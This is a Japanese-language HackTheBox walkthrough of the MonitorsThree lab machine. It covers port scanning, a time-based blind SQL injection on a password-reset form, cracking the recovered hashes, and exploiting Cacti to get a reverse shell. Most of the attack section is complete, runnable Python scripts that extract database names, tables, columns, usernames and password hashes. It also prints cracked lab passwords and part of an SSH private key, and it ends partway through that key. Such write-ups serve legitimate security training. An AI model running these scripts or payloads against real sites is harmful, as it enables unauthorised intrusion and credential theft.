> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# MonitorsThree HackTheBox攻略記事

サブドメイン列挙、SQLI - 手動の時間ベースブラインドインジェクション（Pythonスクリプト）、ハッシュクラック、Cacti悪用（CVE-2024-25642）を扱うMonitorsThree HackTheBox Medium Linuxマシンの攻略記事

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**スキル:**

* サブドメイン列挙
* SQLI - 手動の時間ベース・ブラインドインジェクション（Pythonスクリプト）
* ハッシュのクラッキング
* Cactiの悪用（CVE-2024-25642）- 悪意あるパッケージのインポート
* 情報漏えい
* 内部サービスの悪用 - Duplicati
* Duplicatiの悪用 - サーバーパスフレーズによるログイン認証のバイパス
* Duplicati - ファイルの読み取り・書き込み権限を得るためのバックアップ作成（権限昇格）
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248cee7ecd7dfbe0bf72b945d8732854e3731987%2Fimage%20(2306).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dada986844b36b784c989ab9a79593a54918c3a5%2Fimage%20(2307).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e04459a2a02bd8a1cbea3ab0856af4c78610b03%2Fimage%20(2308).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2289a18c2e887d96f2bf9c3a71b02fc7d8c68cd%2Fimage%20(2309).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-678a8073e2483768f03912c24ba86d8f58196890%2Fimage%20(2310).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed84638a21d781227e5afd768b7422c60c6592e8%2Fimage%20(2311).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b24bad742bf695cee988b2df9c516d53a177fc22%2Fimage%20(2312).png?alt=media" alt=""><figcaption></figcaption></figure>

### ディレクトリ一覧:

**検索のみ** ディレクトリ

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e91576799bde076e18e2d659c440c3a84ae40fad%2Fimage%20(1332).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* adminディレクトリ内で特定の拡張子（PHP、HTML、TXT）を持つファイルを検索する:/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

〜を見つけます `db.php` ファイルですが、データは含まれていません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28717970baac1f37489e0027c484309c3e134684%2Fimage%20(1333).png?alt=media" alt=""><figcaption></figcaption></figure>

## SQLインジェクション

#### 脆弱性の検出

「パスワードを忘れた」機能にSQL脆弱性を特定しました。脆弱性確認のために次のペイロードを使用しました:

```sql
admin' or 1=1-- -
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2413239952363812a420725e649f6ba899ccb99%2Fimage%20(1163).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 時間ベース攻撃による脆弱性の確認

脆弱性を確認するため、時間ベースのSQL攻撃を使用しました:

```sql
admin' and sleep(5)-- -
```

応答に5秒かかったため、脆弱性が確認できました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e746b207e5c62a3e8932ad306e9f15dd87da9d41%2Fimage%20(2772).png?alt=media" alt=""><figcaption></figcaption></figure>

## **SQLインジェクション - 時間ベース**

#### Pythonスクリプトで悪用を自動化する

SQLインジェクションを介したデータ抽出を自動化するためのPythonスクリプトを作成しました。このスクリプトは、データベース名、テーブル名、カラム、そして最終的にユーザー名やパスワードなどの機密データを抽出しました。

### データベース:

**データベース名を抽出するスクリプトの例:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# ログ設定
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("SQLインジェクション攻撃を開始します...")
    
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        
        # この位置で文字が見つからなければ、ループを停止する
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"最終的に抽出されたデータ: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="時間ベースのSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **データベース名**: `monitorsthree_db`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c93af63a28a5ab1dc190fd65c03c55884463a54c%2Fimage%20(2773).png?alt=media" alt=""><figcaption></figcaption></figure>

### **データベース:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# ログ設定
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"オフセット {offset} でデータベース名を抽出しています...")
    
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        
        for character in characters:
            # すべての必要な変数を使ってSQLリクエストを整形する
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        
        # この位置で文字が見つからなければ、ループを停止する
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # データベース名を抽出するリクエスト
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("これ以上データベースは見つかりませんでした。")
            break
        
        databases.append(database_name)
        logger.info(f"見つかったデータベース: {database_name}")
        offset += 1
    
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"データベース一覧: {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="時間ベースのSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb3556b428601990fd6f679865321d8108f12c3%2Fimage%20(2774).png?alt=media" alt=""><figcaption></figcaption></figure>

### **テーブル:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# ログ設定
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"オフセット {offset} でテーブル名を抽出しています...")
    
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        
        for character in characters:
            # すべての必要な変数を使ってSQLリクエストを整形する
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        
        # この位置で文字が見つからなければ、ループを停止する
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # `monitorsthree_db` データベースからテーブル名を抽出するリクエスト
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("これ以上テーブルは見つかりませんでした。")
            break
        
        tables.append(table_name)
        logger.info(f"見つかったテーブル: {table_name}")
        offset += 1
    
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"monitorsthree_db 内のテーブル一覧: {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="時間ベースのSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **テーブル** : `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-817a935a59cbe3e0506f21f5c683c490be6eddaf%2Fimage%20(2775).png?alt=media" alt=""><figcaption></figcaption></figure>

### **カラム:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# ログ設定
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"オフセット {offset} でカラム名を抽出しています...")
    
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        
        for character in characters:
            # すべての必要な変数を使ってSQLリクエストを整形する
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        
        # この位置で文字が見つからなければ、ループを停止する
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # `users` テーブルからカラム名を抽出するリクエスト
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("これ以上カラムは見つかりませんでした。")
            break
        
        columns.append(column_name)
        logger.info(f"見つかったカラム: {column_name}")
        offset += 1
    
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"'users' テーブル内のカラム一覧: {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="時間ベースのSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **テーブルの `users` テーブル**: `id`, `username`, `email`, `パスワード`, `name`, `position`, `dob`, `start_date`, `salary`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca55f3adfc7f7b9f4216d91941c1b39326fbdb96%2Fimage%20(2776).png?alt=media" alt=""><figcaption></figcaption></figure>

### **抽出されたデータ**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# ログ設定
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 終了します.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"オフセット {offset} でデータを抽出しています...")
    
    for position in range(1, 100):
        character_found = False  # 文字が見つかったかどうかを確認する指標
        
        for character in characters:
            # すべての必要な変数を使ってSQLリクエストを整形する
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"テスト中: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"リクエストに失敗しました: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"ここまでに抽出されたデータ: {extracted_data}")
                character_found = True  # 文字が見つかりました
                break
        
        # この位置で文字が見つからなければ、ループを停止する
        if not character_found:
            logger.info(f"位置 {position} で文字が見つかりませんでした。抽出を終了します。")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # ユーザー名を抽出するリクエスト
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # パスワードを抽出するリクエスト
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("これ以上の認証情報は見つかりませんでした。")
            break
        
        credentials.append((username, password))
        logger.info(f"見つかった認証情報: {username}:{password}")
        offset += 1
    
    logger.info("SQLインジェクションが完了しました！")
    logger.info(f"認証情報一覧: {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="認証情報を抽出するための時間ベースSQLインジェクション攻撃を実行します。")
    parser.add_argument("--url", required=True, help="SQLインジェクションの対象URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQLインジェクションの遅延時間")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd29fbeb0272277c22f5b2dd87b7118efa5161e%2Fimage%20(2779).png?alt=media" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## パスワードのクラック

{% embed url="<https://crackstation.net/>" %}

私たちは **CrackStation** を使ってハッシュ化されたパスワードを解読しました。以下の認証情報が得られました:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d50e74d72e1929319055a6263edd422f2d013e%2Fimage%20(2778).png?alt=media" alt=""><figcaption></figcaption></figure>

**識別子:**

* ユーザー: `admin`
* パスワード: `greencacti2001`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1a10b5c0d10f80f09f9968b62102c9b549ff5bf%2F%7B99A84365-CAC2-4F99-B4C2-9ABCD5058FC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/* サブドメイン一覧:/*/*

Gobusterコマンドを使ってサブドメインを列挙する:

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

〜を見つけます `cacti.monitorsthree.htb` サブドメイン。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e322e227b379179c1331148e3f3a6ae88f4b5d34%2Fimage%20(1334).png?alt=media" alt=""><figcaption></figcaption></figure>

これを `/etc/hosts`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd67f9878b1c7acc6b50c96efd384e65c455e34b%2Fimage%20(1336).png?alt=media" alt=""><figcaption></figcaption></figure>

**Cacti接続パネルへのアクセス:**

このサブドメイン上で、バージョン1.2.26のCacti接続パネルが利用可能です。使用するのは `admin:greencacti2001` 認証情報により、接続に成功します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9569ebcb6bc325f184ecc836aa6a69d39e4d900%2Fimage%20(1164).png?alt=media" alt=""><figcaption></figcaption></figure>

## CactiのRCE脆弱性の悪用 <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

CactiのNCE脆弱性を悪用するため、PHPファイルを修正し、実行用スクリプトを走らせます:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b3d6ec067173955063f188a6077f764adf5af92%2Fimage%20(1168).png?alt=media" alt=""><figcaption></figcaption></figure>

このスクリプトは、ターゲットサーバーに注入されるPHPペイロードを含む圧縮ファイルを作成し、リバースシェルを取得できるようにします。

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e78196f672197c437f48c04cbb6367761cbab65%2Fimage%20(1169).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **権限昇格：**

を探索すると `/var/www/html` webディレクトリを調べると、次の場所にデータベースファイルが見つかります。 `cacti` フォルダ内にあり、 `config.php` 次の場所にある設定ファイルを含みます。 `/var/www/html/cacti/include/config.php`.

〜の抜粋 `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84e41ca07ad68c8343c8acd11093c971f12f8971%2Fimage%20(1175).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、 `user_auth` テーブル内のユーザーを一覧表示します。 `cacti` データベースを作成します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a6f46176b44e7cb72916ec6b677cacdc225d94%2F%7B141E5C94-E5A4-40AE-94DE-72A480601B50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-111336a7dca78fd4386cddc21a2cea961cfef9fe%2Fimage%20(1176).png?alt=media" alt=""><figcaption></figcaption></figure></div>

次を使用します `john` 復元したパスワードを解読するために:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

これにより `marcus` ユーザーパスワード: `12345678910`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61e8d76fdca37cc18c0423ddeb8be7745f3a151e%2Fimage%20(1177).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cae48acc12129d2984229eb20ed898a6ce73e1b%2Fimage%20(1178).png?alt=media" alt=""><figcaption></figcaption></figure>

このステップの後、 `marcus` ユーザーのSSH鍵も取得します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-343a222d55a0209b1002bbbc6542cd8c563d9990%2Fimage%20(1159).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqgvIpzJXDWJOJejC3CL0m9gx8IXO7UBIfGplG1XCC6GhqPQh8OXK
rPkApFwR1k4oJkxQJi0fG2oSWmssfwqwY4FWw51sNIALbSIV3UIlz8/3ufN0zmB4WHacS+
k7hOP/rJ8GjxihThmh6PzC0RbpD/wCCCvF1qX+Bq8xc7797xBR4KfPaA9OgB0uvEuzVWco
MYII6QvznQ1FErJnOiceJoxRrl0866JmOf6moP66URla5+0sLta796+ARDNMQ2g4geh53p
ja3nZYq2QAi1b66GIRmYUGz4uWunRJ+6kUvf7QVmNgmmnF2cVYFpdlBp8WAMZ2XyeqhTkh
Z4fg6mwPyQfloTFYxw1jv96F+Kw4ET1tTL+PLQL0YpHgRTelkCKBxo4/NiGs6LTEzsucyq
Dedke5o/5xcIGnU/kTtwt5xXZMqmojXOywf77vomCuLHfcyePf2vwImF9Frs07lo3ps7pK
ipf5cQ4wYN5V7I+hFcie5p9eeG+9ovdw7Q6qrD77AAAFkIu0kraLtJK2AAAAB3NzaC1yc2
EAAAGBAKoLyKcyVw1iTiXowtwi9JvYMfCFzu1ASHxqZRtVwguhoaj0IfDlyqz5AKRcEdZO
KCZMUCYtHxtqElprLH8KsGOBVsOdbDSAC20iFd1CJc/P97nzdM5geFh2nEvpO4Tj/6yfBo
8YoU4Zoej8wtEW6Q/8Aggrxdal/gavMXO+/e8QUeCnz2gPToAdLrxLs1VnKDGCCOkL850N
RRKyZzonHiaMUa5dPOuiZjn+pqD+ulEZWuftLC7Wu/evgEQzTENoOIHoed6Y2t52WKtkAI
tW+uhiEZmFBs+Llrp0SfupFL3+0FZjYJppxdnFWBaXZQafFgDGdl8nqoU5IWeH4OpsD8kH
5aExWMcNY7/ehfisOBE9bUy/jy0C9GKR4EU3pZAigcaOPzYhrOi0xM7LnMqg3nZHuaP+cX
CBp1P5E7cLecV2TKpqI1zssH++76Jgrix33Mnj39r8CJhfRa7NO5aN6bO6SoqX+XEOMGDe
VeyPoRXInuafXnhvvaL3cO0Oqqw++wAAAAMBAAEAAAGAAxIKAEaO9xZnRrjh0INYCA8sBP
UdlPWmX9KBrTo4shGXYqytDCOUpq738zginrfiDDtO5Do4oVqN/a83X/ibBQuC0HaC0NDA
HvLQy0D4YQ6/8wE0K8MFqKUHpE2VQJvTLFl7UZ4dVkAv4JhYStnM1ZbVt5kNyQzIn1T030
zAwVsn0tmQYsTHWPSrYgd3+36zDnAJt+koefv3xsmhnYEZwruXTZYW0EKqLuKpem7algzS
Dkykbe/YupujChCK0u5KY2JL9a+YDQn7mberAY31KPAyOB66ba60FUgwECw0J4eTLMjeEA
bppHadb5vQKH2ZhebpQlTiLEs2h9h9cwuW4GrJl3vcVqV68ECGwqr7/7OvlmyUgzJFh0+8
/MFEq8iQ0VY4as4y88aMCuqDTT1x6Zqg1c8DuBeZkbvRDnU6IJ/qstLGfKmxg6s+VXpKlB
iYckHk0TAs6FDngfxiRHvIAh8Xm+ke4ZGh59WJyPHGJ/6yh3ie7Eh+5h/fm8QRrmOpAAAA
